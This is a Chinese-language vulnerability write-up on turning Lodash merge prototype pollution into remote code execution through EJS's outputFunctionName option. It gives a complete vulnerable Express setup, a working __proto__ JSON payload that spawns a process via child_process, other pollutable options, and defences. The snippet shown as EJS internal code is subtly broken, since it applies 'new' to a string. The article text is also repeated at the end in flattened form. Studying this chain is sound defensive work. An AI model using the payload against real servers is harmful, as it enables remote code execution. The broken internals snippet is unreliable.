ejs原型污染rce分析
字数 870 2025-08-26 22:11:51

EJS 原型污染到 RCE 漏洞分析与利用

前言

本文详细分析 JavaScript 原型链污染漏洞如何通过 EJS 模板引擎实现远程代码执行(RCE),从漏洞原理到实际利用进行全面讲解。

漏洞原理概述

该漏洞利用链包含两个关键部分:

  1. 通过 Lodash 的 merge 函数实现原型污染
  2. 通过污染 EJS 模板引擎的配置选项实现代码执行

环境搭建

// 安装必要依赖
npm install ejs
npm install lodash@4.17.4
npm install express

// test.js 示例代码
var express = require('express');
var _= require('lodash');
var ejs = require('ejs');

var app = express();
app.set('views', __dirname);

// 恶意payload
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
_.merge({}, JSON.parse(malicious_payload));

app.get('/', function (req, res) {
    res.render("./test.ejs", {
        message: 'lufei test '
    });
});

var server = app.listen(8081, function () {
    var host = server.address().address
    var port = server.address().port
    console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

漏洞详细分析

1. Lodash 原型污染

var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops); // undefined
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops); // "It works !"

Lodash 的 merge 函数在处理 __proto__ 属性时没有进行适当过滤,导致可以污染 Object 的原型。

2. EJS 原型污染到 RCE

EJS 模板引擎在渲染时会使用 Function 构造函数动态生成函数:

// EJS 内部实现关键代码
var ctor = opts.localsName + ' || {}';
var fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);

通过污染 outputFunctionName 属性,我们可以注入恶意代码:

{
    "__proto__": {
        "outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"
    }
}

3. 漏洞触发流程

  1. 通过 Lodash 的 merge 污染 Object.prototype.outputFunctionName
  2. EJS 渲染时读取未定义的 outputFunctionName,从原型链获取被污染的值
  3. 被污染的 outputFunctionName 被拼接到生成的函数代码中
  4. 使用 Function 构造函数执行拼接后的代码,实现 RCE

其他可利用的污染点

除了 outputFunctionName,EJS 还有其他可被污染的配置选项:

1. opts.localsName

fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);

污染此属性可能导致语法错误,难以稳定利用。

2. opts.destructuredLocals

var destructuring = '  var __locals = (' + opts.localsName + ' || {}),\n';
for (var i = 0; i < opts.destructuredLocals.length; i++) {
    var name = opts.destructuredLocals[i];
    // ...
}

由于是数组类型,利用难度较大。

防御措施

  1. 升级 Lodash 到最新版本(4.17.21 及以上)
  2. 使用 Object.freeze(Object.prototype) 冻结原型
  3. 避免使用 merge 等不安全的对象合并函数
  4. 对模板引擎的配置选项进行严格校验

参考链接

  1. JavaScript 原型链污染到 RCE
  2. EJS 漏洞报告
  3. JavaScript Function 构造函数
EJS 原型污染到 RCE 漏洞分析与利用 前言 本文详细分析 JavaScript 原型链污染漏洞如何通过 EJS 模板引擎实现远程代码执行(RCE),从漏洞原理到实际利用进行全面讲解。 漏洞原理概述 该漏洞利用链包含两个关键部分: 通过 Lodash 的 merge 函数实现原型污染 通过污染 EJS 模板引擎的配置选项实现代码执行 环境搭建 漏洞详细分析 1. Lodash 原型污染 Lodash 的 merge 函数在处理 __proto__ 属性时没有进行适当过滤,导致可以污染 Object 的原型。 2. EJS 原型污染到 RCE EJS 模板引擎在渲染时会使用 Function 构造函数动态生成函数: 通过污染 outputFunctionName 属性,我们可以注入恶意代码: 3. 漏洞触发流程 通过 Lodash 的 merge 污染 Object.prototype.outputFunctionName EJS 渲染时读取未定义的 outputFunctionName ,从原型链获取被污染的值 被污染的 outputFunctionName 被拼接到生成的函数代码中 使用 Function 构造函数执行拼接后的代码,实现 RCE 其他可利用的污染点 除了 outputFunctionName ,EJS 还有其他可被污染的配置选项: 1. opts.localsName 污染此属性可能导致语法错误,难以稳定利用。 2. opts.destructuredLocals 由于是数组类型,利用难度较大。 防御措施 升级 Lodash 到最新版本(4.17.21 及以上) 使用 Object.freeze(Object.prototype) 冻结原型 避免使用 merge 等不安全的对象合并函数 对模板引擎的配置选项进行严格校验 参考链接 JavaScript 原型链污染到 RCE EJS 漏洞报告 JavaScript Function 构造函数